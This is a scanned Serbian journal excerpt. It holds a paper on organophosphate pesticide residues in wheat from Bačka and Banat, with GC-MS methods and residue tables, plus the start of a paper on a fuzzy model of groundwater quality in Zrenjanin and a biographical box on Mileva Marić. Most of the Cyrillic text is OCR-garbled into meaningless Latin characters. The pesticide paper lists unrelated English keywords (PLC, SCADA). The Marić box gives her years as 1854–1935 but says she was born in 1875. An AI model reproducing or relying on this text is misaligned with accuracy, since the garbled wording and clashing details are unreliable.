dostignu¢e ovog savremenog koncepta a intenzivan
razvoj ove tehnologije nam u mnogome moze

.....
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MUJIEBA MAPUH AJHIITAJH
(1854 — 1935)

Musaesa Mapuh AjHmTajH,
Cynpyra reHujajgHor Hay4YHHUKa
IUIEMEHHUTA MajKa, KOayTop
TeopHuje peaaTuBuTera. Rohena 19.
nenemMopa 1875. roqune y Turteny y
Bojsoaunu. llIkonoBaja ce y
HosowMm can, Cpemckoj
MurtpoBuum, Hlanny, 3arpe0y,
Hupuxy, Xajaeaodepry. 3a Bpeme
OopaBKa Ha YHUBEP3UTETY Y
Xajnenoepry 1897-98 roqune
npoy4asaJia ()oToeTeKTPUIHI
edexaT Kox HOOEIOBLA,
npogecopa Jlenapaa, a koja
npogecopa MUHKOBCKOI yUYWJjia 0
4YeTBOPOAUMEH3MOHAJIHO]
reoMeTpHUjH Koje je 0CHOBA Teopuje
peaatuBureTa. Mumiesa Mapuh je
0mnJia He caMO KMBOTHH CAallyTHUK
»CBETCKOI TeHUjAJTHOT HAYYHHUKA*
U IJIEMEHUTA MajKa, Hero u
0J1MCTAB HAYYHH YM.
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OPTAHO®OC®OPHU NECTULIUIN ¥V
MIIEHULA KAO MMOCJIEJULA 3ATABEA
"KUBOTHE CPEJUHE

ORGANOPHOSPHORUS PESTICIDES IN WHEAT AS RESULT OF
ENVIRONMENTAL POLLUTION

Op TOPOAHA U. IYJAJUR, npodecop CTPYKOBHUX CTyAU]a
Bucoka TexHUUKa 1IKOIA CTPYKOBHUX CTY/Hja y 3peHhaHuHy
Jp JEJIEHA C. ®UJINIIOBUR, BuiM Hay4HU capaJHUK,

VYuusepsurer y HoBom Cany, Hayunu uncruryt 3a npexpambene texHonoruje, Hosu Cag

Jp JEJIEHA K. KWYPCKU-MUJIOLIEBUHUR, acucrent
Brcoka TexHMYKa NIKOJIa CTPYKOBHUX CTy/Uja Y 3pemhaHiHy

Jdp JAHUJEJIA M. JAIINH, npodecop CTpyKOBHUX CTyAHja
Brcoka TexHMYKa NIKOJIa CTPYKOBHUX CTy/Hja Y 3pemhaHiHy

REZIME

[ectuuman cy cuHTETHYKAa  jelMIbEHa Koja ce
yHOCE y NPHUPOIHY CPEAMHY pajyl 3aliTUTE yceBa Of
OoJiecTH M LITETOYMHA, Kao u 300r moeharwa npuHOCA
MOJBOTIpUBpEAHE  mpousBodme.  Opranodocdopuu
MIECTULIU N ce cMartpajy Haj3aCTyIJbCHUJUM
3aralyjyhum mMatepujama y HPHPOIHO] CPEAMHH, a JI0
JbyOM  JOCIEBajy W TMPeKo Om/baka, OJHOCHO
KOH3yMHPamkEeM HAMHUPHULA.

HcnutuBaHo je mpuUCYCTBO OpraHodocopHUx
NECTHIMIA Ha Y30plMMa IMIISHUIE Ca JOKaJIUTeTa
Bauke u banara.Y3opum 3a ompehuBame mnpucycTBa
opranoocopHUX  MecTHIMIA TPHUIPEMIBEHH CY
ekctpakijom 1o MoaupukoBanoj meromu AOAC
970.52/1993 y3 uHTEpHH CTaHIApI, a HACHTU(IKAI]ja
je U3BpIIEHA TaCHO MACEHHM JIETEKTOPOM.

[IpennvuHapHu pe3yntaTH onpehuBama caapikaja
opranoochopHUX  jemUEbea Ha TOBPIIMHA 3pHA
MIIEHUIE YKa3yjy Ha HEOIXOAHOCT TEMEJHHOT ITOCTYIKA
oOpaje 3pHa y IOCTYIKY MIMHCKOT YUIIhera MIIeHUIIe
ca IIMJbEM YKJIamama IITeTHHX MaTepHja ca IOBPIINHE
3pHa 1 006e30ehema 3IpaBCTBeHO Oe30eTHe XpaHe.

Kbyune peun: opranodochopHrn —MECTUIHMIH,
MIICHHUIIA, 3PHO, )KUBOTHA CPE/IMHA.

ABSTRACT

Pesticides are sinthetic compounds that are
introduced into the environment are performing a
protective role against deseases and pests, also
positively contributing to crop yield. Organophosphate
pesticides (OPP) are the most wide-spread polutants in
the environment, and by consuming plant and other
food are introduced into the human body.

The presence organophosphate compounds were
tested in Backa and Banat regions. Samples for OPP
determination were extracted modified method AOAC
970.52/1993 together with the internal standard and
identified by gas mass detector.

Preliminary data of OPP content on wheat kernel
surface point at the importance of thorough wheat
cleaning before milling with the aim of poisonous
matter removal and preparing safe food.

Keywords: programmable logic controller, PLC,
scada.

1. YBOJ

Kopumheme xemujcknx cpeactaBa 3a 3aIlITHTY
Onspaka o OOJecTH, IITETOYMHA M KOPOBA JIONPHUHETO
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je obe3behuBamy cBe Behnx KOMMYMHA XpaHE, TOCEOHO
y Hepa3BHjeHOM nAeny cBera. OcuM TOra, HHXOBa
yrnorpeba omoryhaBa Behy NpoOayKTHBHOCT pana H
3axBaJjbyjyhu ToMe U Behy eKOHOMHYHOCT MPOHU3BO/IELE.



Otyna je pa3ymMJBMBO &a je ymorpeba MeCTHIUAa Yy
CTaJJHOM TmopacTy. MehyTtum, T1pu HENpaBHUIIHOj
yrmoTpeOr OHa HWCTOBPEMEHO MPE/ICTABIbajy BEIUKY
OITACHOCT 3a JXMBOTHY CPEIWHY W 3JIpaBjbe€ JbYOH H
XKHUBOTHHbA. VIMajhu HaBeneHO y BUY, KA0 U YHI-CHUILY
Jla TIECTUIMAM ylla3e y JIaHall UCXpaHe TNPeKo Omsbaka,
BUXOB cajupxaj y OMJbKaMa MMa M3y3eTHY BaXKHOCT ca
CTaHOBUILTA MPOU3BOJBE 37paBCTBEO Oe30eaHe XpaHe
[1].

Ja Ou ce 3amoBospmiie OTpede MOJBOIIPUBPEAE 3a
METUIMINMA, a WCTOBPEMEHO 3allTUTHIA >KUBOTHA
cpenmHa o 3arallema TeXH ce 3a IPOU3BOIHOM
mpernapara KOju Ce OJJIMKYjy BHCOKOM CElIEeKTHBHOIINY
n ebdukacHomhy, KOjU c€ KOpPUCTE Yy MamUM
KOJIMYMHaMa IO jeJMHUIM IOBPIIMHE M KOJU Ce
OJUTMKY]Y MaJIOM NOKpeTJbrBoIIhY y 3eMJbHIITY [2].

OPI'AHO®OC®OPHU INECTULIN AN V TIIITEHUIIN

Ieno 3pHO mimeHUIlEe je Oorat W3BOp BUTAMHHA H
muHepana. Caapxu BuTamMuHe b KoMmIuiekca, Oera
KapoTHH, BUTaMuH E, Kanujy™m, Kaiauujym, MarHe3ujyM,
¢docdop u rBoxkhe. [MTmennna cagpxu Behy KOmuuuHy
NPOTEMHA OJ] CBUX OCTAJIMX JKUTApHUIA U TO j€ jeZaH OJl
pasjmora  3alITo Cce IPOWU3BOAM O  ILICHHMIIE
Hpenopydyjy y CBakoIHEBHOj HCXpaHH. Mactu ce
Hajla3ze y KIMIM a MHHEPAJHU CacTOjUM y OMOTady
3pHa, Tako na Hajehe 31paBcTBEHE BpETHOCTH HMa
KOH3yMHpamke LEJNOr 3pHa. Y CIPYKTYpH HCXpaHe
CaBpEMEHOI' YOBEKa, XMTAa WMajy 3HA4ajHO MECTO U
yiory. IloTpomma xuTa y cBeTY Bapupa u kpehe ce ox
60-80 kwiorpama MO CTAHOBHUKY TOAMIIBE Y
pasBujeHnuM 3emsbama EBpore [3]. Omorau 3pHa
TIIEHUIIE TTOJUIOKAH je MHOTMM Bpcrama 3arahema, mpe
CBera MHUKPOOPraHU3MHUMa U EHUXOBHM MeTaOOJIUTHMA,
NECTULMINMA, OCTallMa TEIIKMX MeTaja, U Op. Te ce
noceOHa MakKika MOpa IIOCBETUTH  XUTHJEHCKO] H
3[paBCTBEHO] HCIPAaBHOCTH CHPOBHHE HaMEHmEHE 3a
MIPOU3BOJIE O Lenor 3pHa [4].

CBa Tpu OOpOKa y HCXpaHU BpJIO PA3IHMIUTHX
KaTeropuja CTAaHOBHHMINTBA, CAApXKe 3HA4YAjaH YAEo
npousBoia on jkura. CBakd NPOCEYHO 3IpaB YOBEK,
KpajeM CBOje @pBe TOIUHE »IKMBOTA TIOUHEbE Ja
KOH3yMHpa XJe0, IeIHBO U CIUYHE IPOU3BOAE LITO
YMHH [0 Kpaja OkuBOTa. [IpoM3BOmM meKapcTBa
3aCTyIUBEHH Cy Yy JHEBHOj MCXPaHH IPOCEYHOT
craHoBHHUKA 0KO 50% [5].

KonsymupameM mnpow3Boja O IEJNOr  3pHA
IIIIEHUIIe UCXpaHa ce oborahyje BpemHUM cacTojIIMa
KITUIIe 1 MUHEPATHIM MaTepujama omoTada. C o03upom
Jla je OMOTad 3pHa IIIIeHIe MTOJJI0KaH MHOTHM BpcTama
3aralema, Mel)y kKojuma cy u octaiu opraHopochopHUX
TIECTHITNIa, HEOITXOTHA j€ aHAIIN3a FBUXOBOT caapikaja y
LEITIOM 3pHY ILICHHUIIE.

2. IPUIIPEMA U AHAJIM3A Y30PAKA

Perpe3eHTaTHBHU y30pIM IIICHHIE Y3€TH Cy M3
cpenme0aHaTCKOT U Cpemhe0adKkor OKpyra. Y30pIH 3a
onpehuBame npucycTBa opraHopocOpHUX MECTUIHAA
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OPUIIPEMJBEHH Cy  €KCTPAaKIMjOM MOAU(PHKOBAHOM
meroqom  AOAC 970.52/1993. MUcnuruBano je
NPHCYCTBO OPraHo(pOCHOpPHUX MECTULNA. THOHA3UHA,
aucyndoHa, TapaTHOH MeTwna, xuopmupudoca U
napaTHoHA.

Onmepeno je 10g y3opka, 3atuMm je momaro lpl
UHTEpHOr craHgapaa (quintozen) 3a opranodochopre
necruimae. Exctpaknuja je wusBpmieHa Ha Dionex
EKCTPaKTOpY.

Pamuu yenou Dionex ekcrpakropa:

e Temmnepatypa 900C
[Mpurucax 6900 kpa
ExcTpaknuonu pactBapay — aneTOHUTPHUIT

Hakon excrpakuuje, cajipikaj ce ynapu y cIpyju
a3ota, Bosehu pauyHa 1a ce ynapaBame MPEKHHE 0Max
10 UCTapaBamy 3a/he Kali TEIHOCTH.

Pexoncturyncame ce Bpumm nomohy 1cm3 cmermre
xekcaH: aneron (7:3). Caapikaj ce mpeHece y BUjamy,
3aTBOPH YETIOM Ca HaBOjEM.

Wnentndukanuja opraHopochopHUX MNECTUINAA
u3BpIIeHa je TnoMohy racHor xpomarorpada ca
MaceHHM JIETEKTOPOM.

Pamau  ycnoBu mipum racHo-xpomaTorpagckoj
ananu3u Ha uHCTpyMeHTy Agilent GC 6890, nmpukaszanu
cy y tademu 1.

Ta6Gena 1. Paguu ycnoBu racHo-xpomarorpadceke
aHanuse
OPP
rac Hocay XeIHjyM
KOJIOHA DB5-MS 60m, HopmaHu IpedHUK
250um, ne6spuHa duma 0,10pm
HIHEKTOP HP 6890
HIbEKTHPaHa 1l
3ampeMuHa
HE-EKTOP 285°C
TeMIepaType
TeMIreparypa 300°C
JeTeKTopa

3. PE3YJITATU U JIUCKYCHJA

Opra"odochopHE TECTHIIUAN UACHTH(PHUKOBAHU Y
y30pIFIMa TMIIEHUIIE ca MOoApydja CpeameOaduKkor u
cpemme OaHATCKOT OKpyTa MpHUKa3aHU cy y Tabemama 2
1 3, a HUXOBE KOHIIEHTpanuje cy mopelene ca Bpen-
HocTiMa npenpuljeHnM [IpaBUITHHKOM O KOJMYMHAMA
nectunuaa [6].

Ha ocHoBy mpmkazaHmx pesynrata y Tab. 2 u 3,
youaBa ce Jia je y HCIUTUBAHMM Y30pLUMa IIICHHIIE
caapkaj xaoprmupudoca 11,9-15,6 myra Behn y ogHOCY
Ha BpemHOCT Kojy mpomucyje [IpapwmHuk [6].
Konmentpamnuja mapatnoHa je He3HaTHO moBehaHa y
Cpedme0aukoM OKpPYry, JOK je Yy HWCIUTHBAHUM
Y30pIIIIMa Cpeame0aHaTCKOT OKpyTa y TpaHHIaMa Koje
npornucyje HanuoHanHu [paBunHuK [6].



Tabena 2. Cagpxaj opraHo@ocOpHUX TMECTHIIUAA Yy y30pIHMa TIICHUIIE TajeHe Y CPeAhe0aukoM OKPYTY,

W3paKeHHU Y Ng/g y OIHOCY Ha CYBY MaTepujy

y30paK jenumeme (Ng/g)
Tuonazux Jucyndoron ITapatnonmerun | Xioprupudoc [Taparuon
Iecma 27 26 42 1336 -
27 26 41,5 1334 -
Hoesocaocka pana 25 - 48 433 -
25 - 48 432 -
Penecanca 7 35 61 467 281
7 35 61 466 281
Tob6eoa 7 28 60 422 -
7 28 60 420 -
Ilpuma 8 - 52 1240 -
8 - 51 1238 -
CPCA.BPELL. 14,8 17,8 52,4 778,8 56,2
CTaH.ZCBHjanmja 9,173876 3,858612 7,288518 416,3224 0

VY pany Levy u cap. [7] je HaBeneHO 1a ce calpiKaj
XJopnupudoca y y30piiuMa MIIeHHIHOT 3pHa KPETao o
0,0054- 0,006 mg/kg, a y mexumama 0,011 — 0,025

mg/kg, mro je 110-129 myra mame y omHocy Ha
UCIIUTHBAHE y30pKe MIICHHIIE.

Ta6eusa 3. Caapixaj opranopocOpHUX IMECTUIMIA Yy Y30pIMMa MIIECHUIIE rajeHe Y CPeAhe0aHaTCKOM OKpYTY,

M3paXkeHU y NQ/Q y OHOCY Ha CYBY MaTepujy

y30pax jenumeme (Ng/Q)
Tuonasux Hducyngporon Iaparnonmermn | Xnoprnmpudoc [Tapatuon
Jlacma 7 - 55 435 -
7 55 435
Espona 7 - 48 1129 -
7 47 1128
Ilecma 7 28 54 532 -
7 27 54 530
Muna 7 - 54 435 -
7 54 435
Mewasuna 7 16 61 449 170
7 16 60 449 170
cpea.Bpes. 7 8,7 54,2 595,7 34
CTaH.fiesrjaija 0 5,760859 4,142463 268,7873 0

FAO/WHO [8] je ob6jaBro momaTke 0 MaKCHMAJHO
JI03BOJHEHUM TpaHuIiaMa opranoochOpHUX MECTUIHNAA
Ha TOBPIIMHM MIIEHMYHOr 3pHa, Mely ocranmm,
xnoprupudoc 50 ng/g, nucyndoron 20 ng/g.

Ha ocHoBy noOujeHux pesyartara (tabena 2)
yoyaBaMo Ia je campxkaj amcyagorona 3a 1,66-1,71
nyra Behn, 3a ucMTHUBaHe y30pKe IILIEHULE, Y OTHOCY
Ha mofiaTke Koje je objasuo FAO.

Y pagy Camoli u cap.[9] cy manu npuxBatibUBH
naeBHu yHoOCc (Acceptable daily intakes, ADI) 3a
mojequHe mectunuae. VcmuTuBaHo je mpucyctBo 152
mectaiaa Ha 7951 y3opky xpane, a 3a 90 mectummaa
cu mate ADI BpemHOoCcTH, Mehy KojuMa mapaTHOHMETHIT
3 ug/kg/dan, xmoprpugoc 10 pg/kg/dan, mapatron 4
ug/kg/dan.

VY omHOCY Ha OBE IMOJaTKe, Pe3YATATH UCITUTUBAKA
caapkaja OUCyA(QOTOHA Yy HAMHpHHUIAMA KOje Ce
CBaKOJHEBHO KopucTe Yy wucxpaHu Opeibema 3a
NIPEBEHIN]Y, TECTHLUIE U TOKCHYHE CYIICTAHIIE,
AMepHuKe areHIMje 3a 3alITUTY )KUBOTHE CPEANHE T/e
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je campxaj oBe MaTepuje y 3pHY MIICHHIIE, MEKHbaMa
OIIeHnIle, mieHndHoM Opammuy je  0,0002 mg/kg,
caapkaj mUCYI(OTOHa HAa aHANM3HPAHUM Y30pIHMa
TIICHAIIE j€ ¥ JO HEKOJIHUKO CTOTHHA ITyTa Behu.

C o63upom Ha TO na mpema Baxehem [IpaBHiTHHUKY
[6] mwmcy nedmHMCaHE MaKCHMAJIHO J03BOJBCHE
KOHIIGHTpallMjeé  CHAPHHAJIEXHAA,  CHAPHHKETOHA,
THOHA3WHA, TUCYI()OTOHA U NTAPATHOHMETHIIA, HE MOXKE
Cce TMPEIM3HO YTBPAWTH CTENECH KOHTaMHHAIHje
UCIHTHBAaHHX Yy30paKka NmleHue, Beh  Ha OCHOBY
OCTaJIUX Pe3yjiTaTa MOXKe C€ TOBOPHTH O BPJIO BETHKUM
KOJIMYMHAaMa HCIUTHBAaHHX moiyraHata. OBH IOmAIM
yKa3yjy Ha HEOmXOJHOCT edukacHor ummhema
MOBPIIIMHE 3pHA M YTBphUBama caapikaja ImolyTaHaTa y
NIICHWI HAKOM TEMEJbHOI TIOCTYNKa 4YHIhema
NOBpIIMHA 3pHA, Ka0 M HAa HEONXOAHOCT JOIyHE
[paBwiHu Ka 0 KoNMMYMHAMa Trectunnaal6].

Kosnuune opranogocopHuX necTunuaa y OQHOCY
Ha JHeBHY MOTPOLULY Xjeba



Kurapune, OpamHO © x1ed MpeEACTaBIbA]y,
JUPEKTHO WJIM WHAUPEKTHO, jeIHY O OCHOBHHX
KOMIIOHEHTH JbYJICKE HCXPaHe, Ia je U IUXOB yTHIA] Ha
3IpaBjbe JbYAM BENWKW. 300r 3Ha4yaja Koje OBE
HaMHpPHUIIE MMajy y JbYACKO] MCXpaHH, MOTPeOHO je
3HATH FUXOB MHHEPAJIHH CACTaB KOjU je W JUPCKTaH
HHJIMKATOp XPaHJbUBE BPETHOCTH OBUX MPOHM3BOIA Kao
W CBEHTyalHOr 3araljea OBHX TPOM3BOJA Kao
nocrne/uia 3araljermba KUBOTHE CPEIUHE HIIH TOCTeIHIA
MPUMEHEHUX arpOTEXHUUKUX Mepa.

[Ipoceuna mHeBHA moTporimka xieda je 300 g, a3a 100 g
xJieba of mejor 3pHa morpebHo je 70-75Q mmeHwmIE.

Ananmm3upajyhu  JHEBHY TOTpOLIBY xyneba u
MPOM3BOJIa ON JKUTAa y WCXpaHW Jbynu, Yy Tabenu 4
NpUKa3aHd Ccy TOJaTHM O  JIHEBHOM  YHOCY

aQHAJIM3UPAHUX OPraHo(MOCHOPHHUX TECTHUIHIA aKo Ou
KOH3YMHUpAIX IPOU3BOJE KOjH Cy HANpPaBJbEHH OJ
aHAJIM3UPAHE MIICHUIIC.

JloObujenn pe3yntaTH yKasyjy Ja je HEOImXoaHa
WHTEH3UBHA 00paja 3pHa MIIEHHIE PHOameM, OJHOCHO

MPOU3BO/IM O LIEJIOT 3pHa MIICHHIE MOI'Y Ce MPABHTH
caMO OJf CHPOBHMHE 4Hja IIOBpLIMHA j€ IPABHIHO
oOpahlena Ha caBpemeHnM ypehajumMa ca BHCOKHM
YYMHKOM 00paje MOBPIIMHE, OTHOCHO, Ca MOBPILIHHE
3pHa HEOIXOJHO je YKIOHHTH 3-6% omoTaya M Ha Taj
HAYMH CMAamUTH  KOMMYMHY TIONyTaHaTa  4uja
KOHIIEHTpaIfja je Ha MOBpLIMHM 3pHa HajBeha. Ha Taj
Ha4yKMH JO0OWja ce KBAIUTETAaH U XUIHMjCHCKH HCTPaBaH
OpPOM3BON KOjH Jiedd a He YrpokaBa 3/paBibe
notpomiaya [4].

Jobujern pesynratd  (coukal) mokasyjy  naa
KOJIMYMHA TMOJyTaHATa KOja Ce 3aap)KaBa Ha OMOTauy
OIICHHYHOT 3pHA, MOXE OWTH TOJHMKa Ja Yrpo3H
3MpaBJbe JbY/IM U KHBOTHIHA, Ta C€ 300r Tora mpe/iaxe
aHaym3a opraHoGocHOpHUX MECTHINIA HA TIICHIIHOM
3pHY ¥ HAKOH MHTEH3HMBHE MOBPILIMHCKE 00paie 3pHa.

Tabesa 4. Konnunze opranoocopHUX HECTHLIUIA Y OHOCY Ha JHEBHY MOTPOLIBY XJieda

Jenumeme (|Lg/naH)

Tuonasux Hducyndporon [TapaTnonmerun Xiopmpudoc [Tapatuon
Cpenma bauxa 3,01 3,74 11 163,5 11,8
Cpenmwu banat 1,47 1,83 11,38 125,1 7,14
Jlo3BosbeHE - - - 10,5 10,5
konuuuHe(|g/1aH)
Komransae opranogocdopHIX NecTHIIAA Y 0JHOCY HA
JHEBHY MOTPOIILY XJ1e0a
180
160
140
120
100
=11
== 80
g 60 B Cpearbebauku okpyr
40 B CpeatbebaHaTCKu OKpYT
20
0 _ _ - h_ Jo3Bo/beHe KoauvmnHe
<
& & & &
& & & & &
N o &° S N
2
& d

Cauxa 1. Tlopeheme gaeBHOT YHOCA OpraHO(pOCHOPHUX MECTUINIA KOH3YMIPAhEM MTPOM3BOAA KOJH CY
HAaIpaBJbEeHH OJ1 aHATM3MPaHEe MIISHUIIE Ca T03BOJFEHIM KOJINYHHAMA
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4. 3AK/bYYAK

Ha ocHoBy pesynrata 10o0HMjeHHX TIacHO-MaceHOM
xpomaTtorpad)ckoM aHamu3oM ofpel)eHo je mpucycTBo
opranoocOpHHUX MECTUIM/IA: THOHA3HMHA, TUCYI(OHa,
MapaTHOH METHIIA, XJIOpIuprdoca 1 MapaTHOHA.

3a wuAeHTU(HKOBaHEe XJIOPNUPH(OC, THOHA3HH,
IucynhOTOH W TapaTHOHMETHn Yy I[IpaBUIHHKY O
KOJIMYHHAMA MECTUIINAA HHCY nehuHnCcaHe
MaKCHMAJIHe JI03BOJbCHE KOHIICHTPAIIH]je, a KAKO Cy OHH
HaljeHU y aHAJTU3UPAHO] MIICHUIY, Tpebaio o Baxehu
[paBUJIHUK JOMYHHTH.

Konuuuue opranodochopHUX MECTHIHAA KOje
YHOCHMMO y OpraHu3aM KOH3YMHpameM HaMHPHHIIA
MPOU3BE/ICHUX OJl aHANW3UPAHE MIICHUIIE, MHOTO CYy
Behe on BpemHocTH Koje je o0jaBro FAO.

H3mepeHe BpenHOCTH cajpikaja opranodochopHIX
MECTHIMA YKa3yjy Ha HEONXOAHOCT TEMEJHHOT
NOCTYIKa 00pajie 3pHa Y IMOCTYIKY MIMHCKOT yniihema
MIICHUIIE Ca LHUJbEM yKnaH,aH)a IMITESTHUX MaTepI/Ija ca
MOBPIIIMHE 3pHA HAMEICHOI H3paad MPOU3BOAA Of
Hesor 3pHa pamu o0e30eherma 3paBCTBEHO HCIPABHE
XpaHe jep Ce WHTEH3MBHOM IOBPIIMHCKOM 00pasoM
3pHa YKIIambhajy ce LITETHEe MaTepHje U N3YMPIIH JICIIOBH
oMoTaya, IITO IO3HUTHUBHO yTI/I‘{e Ha KBaJIUTET U
3IIpaBCTBEHY 0€30€IHOCT.
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MUJIEBA MAPUH AJHIITAJH
(1854 — 1935)

Musaesa Mapuh AjHmTajH,
Cynpyra reHujajgHor Hay4YHHUKa
IUIEMEHHUTA MajKa, KOayTop
TeopHuje peaaTuBuTera. Rohena 19.
nenemMopa 1875. roqune y Turteny y
Bojsoaunu. llIkonoBaja ce y
HosowMm can, Cpemckoj
MurtpoBuum, Hlanny, 3arpe0y,
Hupuxy, Xajaeaodepry. 3a Bpeme
OopaBKa Ha YHUBEP3UTETY Y
Xajnenoepry 1897-98 roqune
npoy4asaJia ()oToeTeKTPUIHI
edexaT Kox HOOEIOBLA,
npogecopa Jlenapaa, a koja
npogecopa MUHKOBCKOI yUYWJjia 0
4YeTBOPOAUMEH3MOHAJIHO]
reoMeTpHUjH Koje je 0CHOBA Teopuje
peaatuBurera. Mumiesa Mapuh je
0mnJia He caMO KMBOTHH CAallyTHUK
»CBETCKOI TeHUjAJTHOT HAYYHHUKA*
U IJIEMEHUTA MajKa, Hero u
0J1MCTAB HAYYHH YM.
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MAMJIAHU ®A3U MOJIEJ MTPOIEHE
KBAJUTETA MMOJI3EMHE BOJE I'PAJIA
3PEIbAHUHA

MAMDANI FUZZY MODEL FOR GROUNDWATER QUALITY
ASSESSMENT IN THE CITY OF ZRENJANIN

Jp JEJIEHA KUYPCKU-MUJIOIHEBUH, acucrenr,
Jp JALIUH JTAHUJEJIA, npodecop CTPYKOBHUX CTyIHja
dp TOPOAHA JIY JAJU'R, npodecop cTpyKOBHUX CTyAM]a
Mp AJIEKCAHIPA IIIYRYPOBUNA, capagHuk y HacTaBu
Bucoka TexHHUKa IIKOIA CTPYKOBHHX CTY/Hja Y 3peHhaHuHy

REZIME

I[IporieHa KBajuTeTa MOA3EMHE BOJAE IPEICTABIbA
KOMIUIEKCAaH M MYJITHIUMEH3MOHAJaH 3aJaTak Yclen
OpojHuX HeozpeheHOCTH Koje ce TOjaBiby]y Yy CBUM
¢azama oBor mpoueca. OCHOBHH IMJb (a3l JIOTHKE
jecre npeBa3uiaKeme Heopel)eHoCTH Ha KOH3UCTEHTaH
HAa4yMH, Ha KOje YOBEK Kao JOHOCHJIALl OTyKe Hamla3u
NPWIMKOM Paja ca BEIUKOM KOJMYMHOM KOMIUICKCHHX
uHdopmanuja. Komruiekcue nnpopmaimje ce oHoce Ha
pax ca BelnMKUM OpojeM pasliMuuTHX BapHjaOMIIHHX
napaMerapa y aHaJM3H MpoOJieMaTHKe KBaJUTETa BOIE,
pasnuuuTe MepHE jeAWHUIEe [apamerapa, Kao H
pas3iIM4YnTe CKaje M OICEe3H NPOLCHHUBAbA.

EBanyupan je ontuMannau (a3 Moaen 3a MpoLeHy
(U3NUKO — XEMHUJCKOT KBAJIUTETA MMOJ3EMHE BOJIE KOje Y
cebu caapke MNpUpPOIHO TMoBehaHe KOHLEHTpALH]je
Heoprauckor apceHa. ®OU3MYKO — XEMHjCKU KBAJIUTET
noji3eMHe Bojie 0a3upaH je Ha ocHOBY 10 cenekToBaHHX
KapaKTepUCTUIHUX mapaMerapa: 6oja "
eNIEKTPOIPOBOUBMBOCT BOze, PH BpemHOCT, yTpomIak
KallijyM-TIepMaHraHaTa, caAp)kaj YKyIHOT TBOXDa,
aMOHH]jaK, KaJIHjyM, MarHe3HjyM, HATPHjyM U apCeH y
Bomu. Bammpmammja kpewpanor ¢dasm  Momema je
UCIITaHA Ha ITPUMEPY EKCIIePUMEHTAHO OJa0paHor
JIOKaUTeTa Tpana 3pemaHrHa. Pa3BujeHM Momen je
Moryhie TpaHCIIOHOBaTH Ha YpOaHHUM U pPypalHUM
moJpydjuma y3 oaroapajyhe urepammyje.

Kibyune peun: ¢asu Jioruka, KBIUTET NOA3EMHE
BOJe, PU3UYKO — XEMHjCKH TTapaMeTpr

ABSTRACT

Groundwater quality assessment presents complex
and multidimensional task due to numerous
uncertainties that occur in every phase of this process.
The fundamental aim of fuzzy logic is the overcoming
of uncertainties in a consistent manner, that man as a
decision maker faces when working with large amounts
of complex information. Complex information are
related to the work with a large number of different
variables in the water quality analysis, different units of
measurement parameters, as well as the different scale
and scope of assessment.

It has been evaluated optimal fuzzy model for the
assessment of physical - chemical groundwater quality
with elevated natural inorganic arsenic concentration.
Physico — chemical groundwater quality is based on the
basis of 10 selected characteristic parameters: color and
electrical conductivity, pH, consumption of potassium
permanganate, the content of total iron, ammonium,
calcium, magnesium, sodium and arsenic in the water.
Validation of evaluated fuzzy model was tested on the
experimentally selected locality of the city of Zrenjanin.
The developed model can be transposed to the urban
and rural areas with appropriate iteration.

Keywords: fuzzy logic, groundwater
physico — chemical parameters

quality,
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1. YBOJ

Kiacuyne Merofe 3a TpOIEHY KBaJHTETa BOJC
¢yHKIMOHMITY Ha 0a3u: KoMIapaiuje J1o0HjeHHX
mapaMerapa  BOAE Ca  HUXOBUM  TPaHUYHUM
BpeAHOCTUMa 0e3  yK/byuHBama OWIO  KaKBHX
Heonpel)eHOCTH U CTereHa MOY3JAaHOCTH, CHI'YPHOCTH.
TpaauumonanHe Kiacu(pUKaluoOHe METOIE Iapamerapa
KBAJIUTETa BOJIC KOPUCTE KIIACHYaH, HYMEPHYKH CKYII, a
BPEMHOCTH KOHIICHTpAIUje Koje Cy ONM3y Wi JaJIeKO
0]l TPaHHYHHX BPETHOCTH C€ IMOCMATpajy y HCTUM
knacama. [ToceOHO je KkBaymuTeT Boje 3a mrhe TPEeHYTHO
JnebUHUCAH caMO Kao OJCYCTBO WM CTPUKTHO
orpaHudeHo mpucyctBo oapehenmx  3aralhyjyhmx
cyncrannu. [Ipaheme kBamurera MoA3eMHE BOIE, KOja
ce KOpPHCTH 3a Tpou3BoAWmY nwujahe Bome,
KBAIUTATHBHO  JIOHOUICEhE OMIyKa HAa  OCHOBY
JOOMjeHHX TogaTaka Mpe[CcTaBba KOMIUICKCAH |
MyJATHIMMEH3MOHATAH 3ajaTak. [JaBHM pasmor cy
HEM3BECHOCTH KOj€ Ce€ jaBJbajy NPH CBAaKOM KOPakKy,
IOYEeB O] y30pKOBama IMa CBe JO aHaju3a.
HensBecHOCTM yBEK TIPUCYTHE Yy NpoOJieMaTUIIN
3alITUTE XMBOTHE CpEeIMHE MOry OWTH mpeBasubeHe
yrmorpebom  ¢aszu  ¢yHkiMje mnpunagama. Ckyn
nojaTaka JOOUjEHMX ca TepeHa M HHXOBE I'paHHYHE
BPEIHOCTH TPEHYTHO C€ WCKJBYYHBO pasMatpajy Kao
KJIACHYHH CKYIIOBH QU NMOTPEOHO MX j€ YK/bYUUTH Y
MozenoBame kao (a3u ckynose. HemssecHocT ce Mopa
NPOLICHUTH M YKJbYYHTH Y CBE aHaJIM3€ Yy IPOLEHH
KHMBOTHE CPEIMHE U NIPOLECY JOHOUICHA OATYKA.

Jeman  ox  HauMHa 32 IPEBa3WIAKEHE
npobJieMaTHKe ca HEM3BECHOCTUMA je yBOljere cTerneHa
MOY3JaHOCTH y (a3u INpoleHaMa peajHuX CHCTeMa.
CreneH mOY3ZaHOCTH MPEACTABIbA KPajibH PE3yiTar
WY W371a3Hy BEIMYMHY CBUX (azu mMozena.

3axBasbyjyhu npuiarojybuBocTd  (pazu  Jioruke
NPWIMKOM JOHOIIEHa OMIYKa y OLCHHBAambYy JKUBOTHE
cpenuHe, ypaheHa je TpoleHa KBajHWTEeTa IO3EMHE
BOJIe Ipaja 3pemaHnHa Koja ce KOPUCTH Kao Boza 3a
nuhe y rpamy 3pemaHuHy. Y pajy je eBalyHpaH
Mampanu ¢a3zu Mozen 3a IpoIeHy KBaIUTeTa MOI3eMHe
BoJie Ha OCHOBY 10 CeNeKTOBaHMX KJbYUHHUX (DUIUUKO —

XeMHJCKHX  [apaMeTapa  KapaKTepHCTHYHHX 32
0a0paHu XHUAPOJIOIIKH EKCIIEPUMEHTATHN JIOKAIUTET:
06oja Bome, enmeKTpompoBomBMBOCT, pH BpemHOCT,
yrpomak KMnO4, aMmoHHjak, YKYIHO TBOX)e,
KaJII¥jyM, MarHe3ujyM, HATPHjyM U apceH. .

2. TEOPUJA U METOJE

Teopuja dasu ckymoBa je TreHepaiIM3anyja

